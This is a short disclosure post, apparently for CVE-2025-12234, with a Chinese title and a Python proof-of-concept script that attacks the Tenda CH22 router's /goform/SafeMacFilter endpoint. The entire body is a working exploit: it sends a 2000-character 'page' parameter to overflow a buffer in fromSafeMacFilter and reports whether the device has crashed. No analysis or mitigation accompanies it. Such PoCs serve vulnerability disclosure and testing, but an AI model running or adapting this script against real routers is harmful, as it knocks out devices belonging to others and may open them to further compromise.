CVE-2025-12234 Tenda CH22路由器fromSafeMacFilter函数缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-12234 PoC - Tenda CH22 Buffer Overflow in fromSafeMacFilter This PoC demonstrates the buffer overflow vulnerability in /goform/SafeMacFilter """ import requests import sys target = "http://target:8080" # Replace with target IP # Generate payload with excessive length to trigger buffer overflow # Typical buffer size is 256-1024 bytes, we use 2000+ to ensure overflow payload = "A" * 2000 def exploit_cve_2025_12234(): """Exploit the buffer overflow in fromSafeMacFilter function""" url = f"{target}/goform/SafeMacFilter" params = {"page": payload} print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[+] Status code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed") except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be unresponsive") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_cve_2025_12234()